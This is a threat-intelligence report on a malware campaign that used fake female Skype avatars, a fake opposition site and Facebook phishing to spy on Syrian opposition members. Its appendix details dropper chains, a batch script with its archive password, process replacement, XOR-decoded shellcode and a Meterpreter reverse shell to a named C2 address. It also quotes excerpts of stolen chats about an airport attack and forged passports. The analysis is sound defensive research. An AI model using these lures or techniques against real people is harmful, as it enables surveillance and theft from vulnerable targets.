The stolen plans are high-value artifacts that may have provided actionable military intelligence to the recipients.
This redacted map shows part of an attack plan against Assads forces military encampment (red rectangle).
MAP OF SYRIAN OPPOSITION BATTLE PLANS Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 9 II.
VICTIMS: SERVING VARIED ROLES IN THE OPPOSITION We analyzed the stolen Skype databases to find out what roles the victims served in the opposition and to understand the connections between the victims.
First, we scanned the contents of the victims chat logs to identify other victims.
We then surmised that the number of shared contacts between the Skype accounts illustrated the relationships between victims.
We were also able to ascertain more about the victims roles and work from the chat logs.
For further explanation, see Appendix B: Social Media Analysis of Victim Skype Databases.
Profiled below are four sample victims: AN OPPOSITION LEADER A DEFECTOR A HUMANITARIAN A MEDIA ACTIVIST The threat group compromised the computer of an individual who appears to be the leader of an armed unit.
In addition to stealing Skype conversations about sensitive military and logistics topics, the threat actors also took a series of folders marked Very Special File that contained plans and logistics information for an upcoming battle.
This victim appeared to be a high-profile defector a formerly high-ranking officer in Assads security services.
The threat group took multiple files from his computer, including documents on forming armed coalitions and political groups and his complaints to the local Internet Service Provider about the bad service in his new home.
While the threat actors had not taken Skype logs from his computer, they did take his CV and other personal documents.
Several victims appeared to be individuals working on supplies and humanitarian operations, including an aid coordinator for a charity based in Turkey.
Among the documents stolen from his system were his CV and a picture of a border crossing showing bundles of goods passing across a river (possibly the Orontes River near Idlib).
The threat group targeted a young media activist who appeared to be based inside Syria, working with a local media center.
The threat group compromised his computer, stealing meeting minutes, as well as a series of videos that recorded meetings with other media activists.
They also took lists of casualties and documents pertaining to investigations of chemical weapon attacks.
10 VICTIMS LOCATED IN SYRIA AND BEYOND Among the victims were individuals who appear to be linked to the Free Syrian Army (a set of groups united by their opposition to Assad), Islamist fighting groups, and individuals with no clear group affiliation.
Some of the victims appear to operate within opposition-controlled areas of Syria, while others are more likely located within the broader diaspora networks in Lebanon, Jordan, and the Persian Gulf.
Figure 1: Geographic Location of Victims based on Victims Skype profilesSPAIN 12TURKEY 1UKRAINE 2EGYPT 2UAE 1 13UNKNOWN 1LEBANON 29SYRIA 3 JORDAN      Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 11 III.
TACTICS: ENCOUNTERING FEMME FATALE The threat group primarily compromised its victims using female avatars to strike up conversations on Skype and connect on Facebook.
They also used a fake, pro-opposition website seeded with malicious content.
CHATTING WITH FEMALE AVATARS The threat group created several Skype accounts with female avatars to target (male) individuals in the Syrian opposition.
The female avatars, which had generic but country-appropriate names and profile images, would develop a rapport with the victim before sending a malicious file.
The female avatars approached their targets with a series of personal questions that appeared to be part of a script The first two questions would generally be: We believe the first question about the victims Skype access determined whether the victim received malware designed to compromise a computer or a mobile device.2 The avatar would request a photo of the target, then send a personal photo of a woman in return.
The avatars photo was actually an executable file (a self-extracting RAR archive) renamed with the .pif file extension.3 When the victim opened the photo, a womans picture was displayed while the SFXRAR executed and ultimately installed the DarkComet RAT in the background.
From this point on, the victims computer was under the threat groups control.
The other personal questions presumably helped the threat actors systematically collect information from each of their targets.
The threat actors would sometimes reinitiate chat sessions with victims after a period of inactivity to collect additional details.
For example, we observed a female avatar engage one victim in lengthy chats about Syrian refugees in Beirut.
After successfully compromising the target, the conversations stopped.
Later she briefly re-emerged to ask the victim if he had previously served in the Syrian Arab Army (Assads forces).
After getting an affirmative answer, she again went silent.
and how are you on Skype?
On a computer or on your phone?
how old are you?
Monday 20:14 Tuesday 22:07 2  While we did not see the threat actors deploy Android malware via Skype, they had access to Android malware (see Appendix A) that could have been used in a similar fashion.
3 https://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/windows_pif_create.mspx 12 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT A REPRESENTATIVE CHAT WITH IMAN AVATAR Are you opening Skype on your mobile?
AVATAR SEND AVATAR 25 AVATAR And you?
AVATAR 10-3-88 AVATAR THREAT ACTOR: Sent file New-Iman-Picture.pif TARGET You drive me crazy.
What a nice coincidence 14:27 Computer and mobile TARGET 14:35 TARGET How old are you?
14:41 14:42 14:43 TARGET What is your date of birth?
14:45 15:04 TARGET Lolololololol 15:05 TARGET 10-3-89.. 15:06 15:07 15:37 15:39 The avatar responds with a request for a picture.
The target then sends a picture, which the avatar compliments.
She follows up with a request for his age and says her own birthdate.
He replies with apparent surprise that they have identical birthdays, though one year off.
It probably wasnt a coincidence.
His birthday is on his Skype profile, which would have been visible to the threat actor.
After they chatted a bit more, she explained that she is a computer engineer working at a programming company in Beirut and sends a file that the avatar claims is a picture of her.
The target becomes a victim when the picture is opened.
The target receives an initial contact request from the female avatar.
He accepts the request.
She then asks, are you using Skype on your phone or your PC?
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 13 Figure 2: The Skype avatars corresponding Facebook profile Figure 3: Another female avatar posting malware links on her Facebook profile SEEDING MALWARE ON SOCIAL MEDIA The Skype avatar had a matching Facebook profile with the same photo.
Her profile, populated with pro-opposition content, contained many posts with malicious links.
The links invite visitors to install security tools like VPNs and Tor, or access important documents.
A FAKE SYRIAN OPPOSITION WEBSITE The malware that the Skype avatars and social media profiles encouraged their victims to download shared the same host server as malware distributed through a website (80.241.223.128) purporting to be supportive of the Syrian opposition.
The threat actors used this website to target opposition members interested in news about the conflict.
Much of the websites content was scraped from the website of the Syrian American Council, a U.S.-based non-profit that advocates for democracy in Syria.
In order to watch videos on this website, the viewer is prompted to download a Flash Player update that is actually malware (see Figure 4 and Figure 5).
Threat actors also included download prompts for legitimate video chat software bundled with malware.
Figure 4: Prompt to install the malware Figure 5: Saving malicious flash installer Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 14 SOCIAL NETWORKING PROFILES AND FACEBOOK CREDENTIAL PHISHING The fake opposition website also includes what appears to be a matchmaking section (Figure 6) that covertly channels targets toward installing malware.
This section of the site contains womens profiles, each of which is populated with information indicating age, location and interests as well as other personal information.
The profiles also contain links to a LiveCam ID as well as the Facebook Profile of each woman.
Clicking on the LiveCam ID link directs the user to a download page including Live-Chat-ooVoo-Setup.exe, a malicious bundling of ooVoo (a legitimate program).
Clicking on a Facebook profile links to a fake Facebook login page that is actually a phishing page used to collect credentials (Figure 7).
ONE COMPROMISED SYSTEM, MULTIPLE VICTIMS The threat group manually created a directory on its server for each compromised computer.
These directories often contained multiple stolen Skype databases indicating that the victims shared computers.
The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the oppositions use of shared computers for satellite- based Internet access.
Figure 7: Profiles in the phishing site Sharing computers is likely a function of the realities of limited internet service in Syria.
The multi-day Internet and phone blackouts that began occurring in Syria in 2012 (possibly the Syrian governments attempts to stifle opposition forces communication capabilities, with some exceptions4) have driven opposition groups, media activists, political groups, and others to set up their own satellite communications systems for reliable two-way satellite Internet connectivity.
Typically, they use 2-way satellite communications equipment known as Very Small Aperture Terminals (VSATs) connected to consumer grade networking equipment, like Wi-Fi routers.
VSATs provide an expensive Internet lifeline to many groups within opposition-controlled parts of Syria.
Due to expensive bandwidth, limited electricity, setup time, and the need to operate VSATs from a fixed location, individuals supporting a wide variety of Syrian opposition efforts often share connections and computers located in places like local media centers and operations rooms.5 As a result, a threat actor who successfully infects one person on a shared device can easily steal the Skype databases and stored documents of several targeted individuals or organizations as well.
The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the oppositions use of shared computers for satellite-based Internet access.
Figure 6: Fake Facebook login page 4  http://www.washingtonpost.com/blogs/worldviews/wp/2012/11/30/can-u-s-communication-kits-help-syrians-get-around-the-Internet-blackout/ 5 http://www.cbsnews.com/news/to-fight-assad-syrian-opposition-logs-on-at-any-cost/ Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 15 IV.
MALWARE: A RANGE OF TOOLS FOR MULTIPLE PLATFORMS The threat groups tools and tactics differ somewhat from those observed in previous activity targeting the Syrian opposition.6 Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed.
The group also uses a keylogger and what appear to be custom tools with shellcode payloads.
The threat actors have used these tools in conjunction with techniques such as: This is also the first instance we have observed a threat group targeting the Syrian opposition using Android malware.
Smart phones, in general, are valuable sources of data about individuals and their social networks, as they may contain address books, SMS messages, email, and other data (including data from mobile apps, such as Skype).
Targeting Android may be particularly beneficial in the case of Syrian opposition members, where regular power blackouts in Syria may force people to rely more heavily on mobile devices for communications.
Despite the wide array of tools and techniques at their disposal, the threat group does not appear to use software exploits to deliver malware to their targets.
Instead, they seem to rely on a variety of social engineering techniques to trick victims into infecting themselves.
Multi-stage droppers incorporating password- protected self-extracting RAR archives Memory injection using process replacement Multi-stage payloads Use of an XOR key to decode a shellcode payload, where the components used to generate the XOR key are distributed in two separate files (a PDF and an EXE) 6  See, for example: https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-campaigns https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 16 V. POTENTIAL THREAT GROUP SPONSORSHIP The threat groups tools and tactics stand in contrast to the ways in which other Syrian groups (described publicly by a variety of researchers) have operated.
In addition, while we do not have sufficient information to determine the identity of this group or the nature of its ties to Assads forces, we have some indications that the group may be resourced and / or located outside of Syria.
The malware used by this threat group does not share any command and control servers with previously reported activity documented by research groups including Kaspersky, Trend Micro, CitizenLab, and the Electronic Frontier Foundation (EFF).7 In addition, the activity does not share any of the tactics or tools with activity profiled in another recently released report on potentially ISIS-linked malware in Syria.8 The threat group used a variety of malware, suggesting access to development tool resources.
For example, while other Syrian threat groups have used DarkComet and other RATs extensively, this group deploys DarkComet using a custom dropper (BLACKSTAR) that may make the malware more difficult to detect.
This threat group is also unique to date in leveraging the Metasploit Framework, custom malware tools (YABROD and CABLECAR), and Android malware.
This demonstrates that the threat group is capable of acquiring and using a diverse malware arsenal.
It remains unclear if they have developed this capacity internally or are receiving outside support.
Finally, public reports of other suspected pro- Syrian threat actors have identified those groups primary or fallback command and control (C2) servers as located within Syria itself (e.g., resolving to or directly referencing Syrian IP addresses, often in similar IP ranges.)
However, this groups C2 servers were located outside of Syria.
This may indicate that the group is not based in Syria itself, or that its sponsors resources do not include the ability to provide the group with dedicated servers located in Syria.
7 https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-campaigns https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf 8 https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ SPECIAL REPORT 17 Establishing an Electronic Army to infiltrate Syrian activists computers, websites and Internet accounts, and attempting to use stolen personal information against them.
Setting up opposition social media accounts to spread false information and make accusations and counter-accusations to create conflict between opposition members in and out of Syria.
The use of women to entrap opposition members and activists using social media sites such as Skype and Facebook.10 9 http://alkhaleejonline.net//articles/1414221806705481300/, English translation available here: http://syria-cyber-warfare-intel-leak.pen.io 10 http://syria-cyber-warfare-intel-leak.pen.io BEIRUT LEBANON LEBANON: A RECURRING THEME While researching this activity, we came across numerous references to Lebanon.
We observed a user in Lebanon upload what appear to be two test versions of malware used to target opposition elements (the YABROD downloader and the CABLECAR launcher).
The avatars, social media seeding, and fake opposition website are also filled with references to Lebanon.
During chats, for example, the female avatars often state that they are in Lebanon and demonstrate familiarity and interest in talking about issues there.
Social media pages suggest that the avatars are refugees in the country, or are Lebanese.
While researching the threat groups tactics, we came upon a reference to a 3-day training course in Lebanon in 2012 that described the use of eerily similar methods.
According to media reports, a leaked Syrian intelligence memo titled Training Course for Internet and Social Media Activists describes the tactics that pro-Assad recruitsmany of whom were Lebanese members of Hezbollahs Islamic Resistancewere trained to use.9 Do note that we are unable to determine the authenticity of the document, or whether it may represent disinformation.
The training included: Figure 8: Avatars referencing Lebanon Behind the Syrian Conflicts Digital Front Lines Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 18 CONCLUSION A t first glance, this groups activity follows a familiar plot line: threat actors socially engineer their way into individuals computers and then steal data.
However, like all great plots, this one comes with a twist.
The group regularly asked its targets about the device they usedcomputer or Android phoneprobably so that they could then deploy malware specifically tailored to that device.
In addition to the range of military and political documents stolen, the group focused on the victims Skype databases, which included the victims contacts and real time communications, providing the threat actors with an inside view into the oppositions relationships and plans.
We suspect they often found their next targets in the victims Skype contacts as well.
As the warzone reality of expensive satellite internet forced opposition members to rely on shared devices, compromising a single device yielded the combined plans and communications of multiple aspects of the opposition.
Unlike other threat activity that we have profiled, this is not just cyber espionage aimed at achieving an information edge or a strategic goal.
Rather, this activity, which takes place in the heat of a conflict, provides actionable military intelligence for an immediate battlefield advantage.
It provides the type of insight that can thwart a vital supply route, reveal a planned ambush, and identify and track key individuals.
This intelligence likely serves a critical role in the adversarys operational plans and tactical decisions.
However, this tactical edge comes with a potentially devastating human cost.
ACKNOWLEDGEMENTS Kristen Dennesen Laura Galante William Gibb Erye Hernandez Mary Beth Lee Ned Moran Vinay Pidathala Michael Shoukry Jen Weedon Jinjian Zhai Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 19 Figure 9: Multi-stage RAR Dropper APPENDIX A: MALWARE ANALYSIS MULTI-STAGE SELF-EXTRACTING RAR DROPPER This threat group frequently uses social engineering to attempt to trick victims into infecting themselves by running malware disguised as a legitimate file, which we call the lure.
In some cases the file appeared to be valid software installation program (e.g.,install_flashplayer11x32_gdrd_aih.exe).
In other cases, the group used the non-printable Unicode right-to-left override character11 to make executable files appear as PDFs, JPGs, or other non-malicious content (e.g., Syrian-Girl-Against-Regime[Unicode]gpj.exe.,
which would be displayed to a user as Syrian-Girl-Against-Regime.exe.jpg).
In each case, the lure file was actually a self-extracting RAR archive (SFXRAR), typically containing a decoy file and a second, password-protected SFXRAR that contained the actual malware.
The files are executed to deploy the malware as shown in Figure 9.
Download binary RAR 1 Installer Decoy Dropper Extract RAR1 and run installer Run dropper Provide RAR 2 Password Extract RAR 2 Run Malware Show Decoy 1 2 3 4 RAR 2 Malware Installer System Infection Dropper RAR 2 Malware 11   http://blogs.msdn.com/b/ericfitz/archive/2011/08/22/off-topic-unicode-right-to-left-override-character-used-by-malware.aspx Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 20 1.
The lure is a SFXRAR archive (RAR 1) that contains one or more installer batch (.bat) scripts and / or Visual Basic (.vbs) scripts (generically referred to as the Installer, above) a non-malicious decoy file (Word or PDF document, JPG image, or legitimate software installation program, the Decoy) and a second, password-protected SFXRAR archive containing the malware (the Dropper / RAR 2).
Since the malware is in a password-protected file, it cant be scanned by antivirus software.
In step 1, RAR 1 executes, writes its contents to disk, and launches the installer scripts.
2.
When the installer scripts execute, they provide a password to open RAR 2 and launch the decoy file.
3.
The decoy file is displayed to the victim (or executed, if the decoy is a legitimate application).
4.
The malware is extracted from the password-protected RAR 2 and executed, compromising the system.
For example, visitors attempting to view videos on the threat groups fake website were prompted to download the file install_flashplayer11x32_gdrd_aih.exe (6608ce246612d490f3b044627a5e6d9e).
While the file appeared to be an installation program for Adobe Flash, it was actually an SFXRAR archive containing the files shown in Figure 10.
The file flashplayer11.exe (b44da59fdaf10fea8bce51772f67b9a9) was the decoy file  a legitimate, digitally-signed Adobe binary.
The file Update-flashplayer11.sfx.exe (a1e0d40715f66f30aad44ab4c15a474a) was a password-protected SFXRAR file.
The BBAG.bat file extracts and launches the SFXRAR using the password Wht1sTh3re on the command line and launches the decoy to start the legitimate Flash player installation process, as shown in Figure 11.
The SFXRAR in turn extracts and executes the malicious file flashplayer11x32_gdrd_aih.exe (b68a7e216cb0d18030048935b67e0d68) which is a copy of the ONESIZE keylogger.
Figure 10: Files dropped by the first SFXRAR BBAG.bat combine.bat flashplayer11.exe hide.vbs Update-flashplayer11.sfx.exe Figure 11: Content of BBAG.bat script echo off Update-flashplayer11.sfx.exe -pWht1sTh3re -dtemp flashplayer11.exe -dtemp Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 21 ONESIZE KEYLOGGER ONESIZE has been distributed using the multi-stage SFXRAR dropper method described above.
ONESIZE uses the GetAsyncKeyState API to intercept input from the keyboard.
The malware stores logged keystrokes to temp\keys.txt.
A sample log file is shown in Figure 12: ONESIZE collects information about the infected computer, including the hostname, OS name, registered owner, install date, system type, BIOS version, system and input locale (to detect the language), domain, logon server, and hotfixes installed.
The system information is transmitted to a hard-coded command and control (C2) server (80.241.223.128:2007), as shown in Figure 13: Figure 13: System information sent to the ONESIZE C2 connect to [80.241.223.128] from Lab-PC [80.241.223.128] 49232 Host Name: LAB-PC OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Lab Registered Organization: ... ONESIZE also uploads the key log file to the same C2 server.
ONESIZE checks to see whether the current key pressed is greater than 0x26 and less than or equal to 0x5A, or any of the following virtual keys: VK_OEM_COMMA VK_OEM_2 VK_OEM_3 VK_OEM_4 VK_OEM_5 VK_OEM_6 VK_OEM_7 Figure 12: Content of the key log file Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 22 If so, and if the key log file is equal to or greater than 4096 bytes (0x1000) in size, the log is uploaded to the C2 server.
If these conditions are not met, then the current key pressed is simply written to the log file.
ONESIZE may leverage source code12 from the publicly available UniLogger Keylogger.13 UniLogger supports Unicode, which means it is capable of logging keystrokes from keyboards configured for Unicode languages such as Arabic, Chinese, and Russian.
Both ONESIZE and UniLogger may use the same source code to record keystrokes.
Figure 14 shows part of the UniLogger source code, which calls Sleep with the rand function somewhat uniquely and searches virtual-key codes from 8 to 222.14 Figure 15 shows a partial disassembly of ONESIZE the Sleep and rand functions are visible, as well as the virtual key codes from 8 to 222.
Figure 14: UniLogger Github source code snippet Figure 15: ONESIZE partial disassembly 12 https://github.com/SherifEldeeb/UniLogger/blob/master/Source.cpp 13 http://eldeeb.net/wrdprs/?page_id229 14 The malware determines if a key is pressed by iterating through all the virtual keys starting from 8 and ending with 222 and checking the return value of the GetAsyncKeyState API (a return value of -32767 (0x8001) means key down and pressed since the last check).
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT In this redacted, translated, and excerpted conversation the leader of an opposition fighting group is offered a fighting job: launch an attack on a particular airport.
The emphasis on communications discipline, and the need for documentation are both notable.
The need for photographic proof suggests a need for verification by a distant party, perhaps the funder who is said to be in Saudi Arabia.
Perhaps photographic proof is also important for a group (or funders) reputation and being able to claim credit for a particular attack.
In full form, this conversation reveals several pieces of sensitive military information regarding the oppositions approach to launching, funding, and operationalizing an attack plan.
The potential real-time surveillance of opposition wartime discussions could provide the Assad regime with valuable intelligence about ongoing or planned military campaigns, identification of who funds the opposition, and how the operational financial infrastructure works.
PERSON 2 How many people do you have?
SEND Would you be willing to take a job and do it without letting anyone else interfere?
Monday 19:27 SPECIAL ASSIGNMENT PERSON 2 PERSON 1 I have 50 armed, and one anti-aircraft cannon.
And two Grad launchers.
Like what?
I have a job that will make your unit the strongest unit in the city We need to hit from a distance with a missile (RPG) or with a tank the [REDACTED] airport and burn a plane in the airport or a gas tank.
At that time, you can ask for the most precious thing.
We were in an agreement with [REDACTED, OFFICER NAME AND RANK].
However we couldnt get him in time, we promised him a big reward if he burned anything at the airport.
I will give you pictures of the hit on the [REDACTED] airport.
Before you go to work, tell the partners so that they know, and I need you to send the picture in a file and we will not broadcast it, it will just be used for evidence that it was done or complete, after two hours of you sending the folder with the picture, you can publish.
Tomorrow, I will hit it with a hundred anti plane shells and I will burn it.
Today, At 1 I will talk to the individual that will fund you, so he knows and so you can tell me the time that you will hit.
Also make sure no one has a phone and do not let anyone take any pictures so that you are the only one who has the picture and so that no one deceives you.
Tomorrow in the evening you will have the pictures.
Call the funder from Saudi Arabia, and based on the promise that today is the work, let him know that the people who will work in [REDACTED] told me that they need to move forward and execute on the operation.
Monday 19:28 Monday 19:37 Monday 19:38 Monday 19:46 Monday 19:47 Monday 19:56 Monday 20:07 Monday 20:09 Monday 20:08 Monday 20:10 Monday 20:21 Today 8:27 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 24 BLACKSTAR, A CUSTOM DROPPER FOR THE DARKCOMET RAT DarkComet is a widely available, stable, and easy to use remote administration tool (RAT) that allows a threat actor to control a compromised system.
In addition to standard backdoor functions such as manipulating processes, services, the registry, and uploading and downloading files, DarkComet can also activate the webcam and microphone.
Since DarkComet is so well known, security products such as antivirus software can often detect it.
This threat group uses a custom dropper which we call BLACKSTAR.
BLACKSTAR contains an embedded, obfuscated binary which is a second dropper and launcher that we call REDDWARF.
REDDWARF contains the actual DarkComet payload.
BLACKSTAR writes REDDWARF to disk for persistence, but DarkComet itself is only ever extracted to memory by REDDWARF.
Many antivirus vendors fail to detect this DarkComet backdoor because it is obfuscated inside the BLACKSTAR binary or because it is loaded into memory using process replacement.
BLACKSTAR malware performs the following actions: 1.
The BLACKSTAR binary (in this case, adobereadersetup-86x.exe, 39632325327bf21f7d9cf02caf065646) is first extracted from two nested SFXRAR archives, as described above.
2.
BLACKSTAR contains two resources:15 QUYFKY\DIOKAK contains a decoder key for the configuration data and the embedded PE (REDDWARF).
QUYFKY\UXLNYL contains the encoded configuration data which consists of function names that the malware resolves dynamically, as well as offsets used to extract the embedded PE.
3.
REDDWARF is actually contained within a Word document embedded within the BLACKSTAR binary.
BLACKSTAR first finds the offset of the embedded Word file, then decodes the configuration data that includes the offset of the REDDWARF binary within the Word file.16 The embedded key is used to decode the embedded REDDWARF binary (8af83d74033aded17af538e4ccf12092).
REDDWARF is loaded in to memory and executed, replacing the BLACKSTAR process in memory through a technique known as process replacement.17 15 The resource names vary across samples, and appear to consist of six random upper-case letters.
16 The Word document is never written to disk, and may simply be intended to further mask the REDDWARF binary.
17 Process replacement replaces a legitimate binary in memory with a malicious one.
First, a legitimate binary is launched in a suspended state.
The content of the legitimate binary is then unmapped from memory, memory is allocated at the original binarys location, and the content of the malicious file is written to that memory space.
The main suspended thread is pointed to the memory location of the malicious code, and the thread is resumed, executing the malware.
By using process replacement the malicious code will appear to be the legitimate process to many analysis tools.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 25 4.
REDDWARF contains two resources: RT_RCDATA\1 which contains the DarkComet binary (24f1658f3f38245dc15b9619bc97979b) RT_RCDATA\2 which contains plaintext configuration data.
Similar to BLACKSTAR, the REDDWARF configuration data consists of function names that the malware resolves dynamically the registry location that the malware should use for persistence and (optionally) a file name that contains a script.
5.
REDDWARF extracts the DarkComet backdoor and spawns a copy of itself.
It uses process replacement on that copy to launch the DarkComet backdoor in memory.
Finally REDDWARF copies itself to disk, maintaining persistence via the registry entry specified in its configuration file (e.g., HKCU\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1).
We suspect that the malware authors used an automated tool to embed the DarkComet payload within the second binary and within the BLACKSTAR dropper.
Interestingly, we observed at least one case where the payload may have been run through the packaging tool twice that is, the BLACKSTAR dropper contained an embedded REDDWARF binary, which contained another BLACKSTAR dropper, which contained another REDDWARF binary, which contained the final DarkComet payload: BLACKSTARbinary(itselfcontainedwithinmultipleSFXRARfiles): GoogleUpdate.exe,7247d42b3b4632dc7ed9d8559596fff8.
EmbeddedREDDWARFbinary: 1b20ea5887775f8eddf5aecd5d220154 EmbeddedBLACKSTARbinary: 97a35a7471e0951ee4ed8581d2941601 EmbeddedREDDWARFbinary: dd08f85686bd48e4bab310d8fbff81a4 EmbeddedDarkCometpayload: ae1ea30e6fb834599a8fed11a9b00314 That particular BLACKSTAR dropper (7247d42b3b4632dc7ed9d8559596fff8) was dropped by at least four different original lure files.
NEEDING PASSPORTS This redacted, translated and excerpted conversation appears to describe an attempt to secure forged passports and identity documents for the purpose of travel.
Syrians attract much scrutiny while traveling overseas for many reasons, and a Syrian opposition member would have many motivations to conceal his or her true nationality.
The reason for avoiding Turkish documents may be that a Syrian would have a difficult time pretending to be Turkish, but a much easier time with another Arabic  speaking identity.
PERSON 1 I have a smuggler.
13:01 PERSON 2 He helps get [smuggle] people out.
13:01 Do you know someone that can get us some identities and Passports for travel?
13:00 PERSON 1 We are not looking for a smuggler.
13:02 We want identities and passports.
13:02 We do not want them for Turkey.
13:03 We want them for the UAE and others.
[
The passports] 13:04 That is my brothers job, he knows about that 13:07 good 13:09 Aha 13:08 In full form, this conversation discloses opposition travel efforts and the forgery methods opposition members have sought to secure the documentation required to move in concealed fashion.
The Assad regime likely places a high priority on understanding opposition movements, the identities of its personnel, and methods for traveling discreetly.
SEND Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 26 YABROD DOWNLOADER AND CABLECAR LAUNCHER This threat group deploys a set of malware consisting of an initial downloader that we call YABROD and a launcher that we call CABLECAR.
The YABROD downloader contains embedded shellcode (used to download and execute a second binary) and an embedded, password-protected PDF stored in a PE resource named PDF.
The PDF file is not malicious and acts as a decoy document, displaying relevant content to its intended victim.
However, the PDF also contains a shellcode payload, and data used to generate an XOR key to decode the shellcode.
YABROD does not decode and execute the shellcode from the PDF on its own, but relies on a downloaded second-stage binary (CABLECAR) to do so.
Some YABROD variants also contain an embedded, non- malicious executable stored in a PE resource named EXE.
The executable acts as a second decoy, installing a valid piece of software while the YABROD downloader runs in the background.
YABROD attempts to inject its embedded shellcode into a specified process on the victim computer the process may vary depending on the YABROD sample.
We identified variants that attempted to inject into Skype (skype.exe) various browser processes (chrome.exe, firefox.exe, iexplore.exe) or specific processes associated with Microsoft .NET (e.g., cvtres.exe).
Presumably the threat actors selected processes they expected to be running on their victims computers.
Once loaded into its target process, the YABROD shellcode connects to a specified C2 server via HTTP to download and execute a second file.
We have identified samples that use a hard-coded IP address for C2, as well as samples that use a URL redirect to connect to a Dropbox account.
The YABROD samples we identified download an executable launcher that we call CABLECAR CABLECAR parses the password-protected PDF dropped by YABROD to identify a 16-byte key and the embedded shellcode payload.
The key is used with a substitution table from the CABLECAR binary to generate an XOR key to decode the shellcode payload from the PDF.
CABLECAR then attempts to inject the shellcode into a specific process similar to YABROD, the process may vary across samples but includes browsers (chrome.exe, firefox.exe, iexplore.exe) and .NET processes (vbc.exe).
In the samples we analyzed, the shellcode payload was a Metasploit reverse shell the shellcode is loaded only in to memory and never touches disk.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 27 DETAILED ANALYSIS Below is a detailed analysis of a particular YABROD sample.
Step 1: The YABROD downloader (bd4769f37de88321a9b64e5f85baf1ef) attempts to launch the Microsoft .NET process systemroot\Microsoft.
NET\Framework\v2.0.50727\cvtres.exe in a suspended state and inject its embedded shellcode into the process.
After that, the downloader sleeps for 2 minutes to allow the shellcode to execute.
Step 2: The YABROD downloader checks for the existence of two PE resources, PDF 112 and EXE 115.
YABROD extracts an embedded password-protected PDF file (e0625817eb11874d806909a8c190d45a) from Resource PDF 112 and writes it to temp\ Yabrod.pdf.
Step 3: YABROD then extracts and executes an embedded executable decoy file from resource EXE 115, vpn7x32.exe (bc167bca4ca3cf6f2f2bd7e90ecdeb29), which is a legitimate installation program for a VPN client.
Note: if the EXE resource exists, YABROD uses the embedded executable as the decoy file displayed to the user.
If there were no EXE resource, YABROD would display the embedded PDF as a decoy instead, using the default application as specified in the Windows registry.
An excerpt from the PDFs content is shown in Figure 16.
Step 4: The YABROD shellcode injected into cvtres.exe downloads a file by making a HTTP request to 80.241.223.128/Yabrod.pdf using n1 as the User-Agent.
The downloaded file is placed in temp as GoogleUpdate.exe.
A registry value GoogleUpdate is added under HKCU\ Software\Microsoft\Windows\CurrentVersion\Run and set to temp\GoogleUpdate.
exe.
The temp environment variable is expanded prior to writing the registry value.
The download request and response are shown in Figure 17.
Figure 16: Yabrod password-protected PDF Figure 17: Downloading the file Yabrod.pdf Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 28 Step 5: The YABROD downloader attempts to start the process temp\GoogleUpdate.exe without checking if the file exists.
Step 6: The downloaded executable (4e007cb87626f0093a84ed50b1d27a7f), a variant of the CABLECAR launcher, was launched on the victim system.
CABLECAR parsed the PDF from step 2, looking for the second stream string following the first occurrence of the string Encrypt.
The location contained a 16-byte (0x10) key.
CABLECAR then searched for the stream identified by subtype/ XML/Type/Metadata/stream.
The key and a 256-byte (0x100) substitution table stored within CABLECAR itself were used to generate an XOR key to decrypt shellcode stored in the PDF stream.
In this case, the shellcode was a copy of the Meterpreter reverse shell (meterpreter_reverse_tcp).
Step 7: CABLECAR creates a specific process (in this case, systemroot\Microsoft.
NET\ Framework\v2.0.50727\vbc.exe)in a suspended state to inject the decoded shellcode18 (vbc.exe is the Microsoft .NET Visual Basic Compiler).
Step 8: The Metasploit shellcode (4e007cb87626f0093a84ed50b1d27a7f) from the YABROD PDF file connects back to the C2 IP 80.241.223.128 on TCP port 55555, providing a remote shell to the threat actors.
PYTHON-BASED BACKDOOR SHELLCODE LAUNCHER This threat group uses another backdoor implemented as an encrypted Python script contained within a pyinstaller dropper.
The dropper, Facebook-Account.exe (64a17f5177157bb8c4199d38c46ec93b), was built using pyinstaller, a program that converts Python programs into standalone executable files.19 The pyinstaller binary creates a folder under temp with the name _MEIXXXX, where XXXX is a random number.
The folder is used to drop all the modules and libraries used by the packaged script.
The dropped files include Microsoft Visual C runtime libraries (such as msvcm90.dll) as well as python27.dll and various Python binaries (.pyd files).
The Python libraries appear to be from the 2.7.5 distribution of Python.
Figure 18: Libraries dropped _ctypes.pyd _hashlib.pyd _socket.pyd _ssl.pyd bz2.pyd Imo-Pic.exe.manifest Microsoft.VC90.CRT.manifest msvcm90.dll msvcp90.dll msvcr90.dll python27.dll select.pyd unicodedata.pyd 18 Interestingly, instead of using the traditional CreateRemoteThread function call to execute the injected shellcode, the malware uses the undocumented function RtlCreateUserThread.
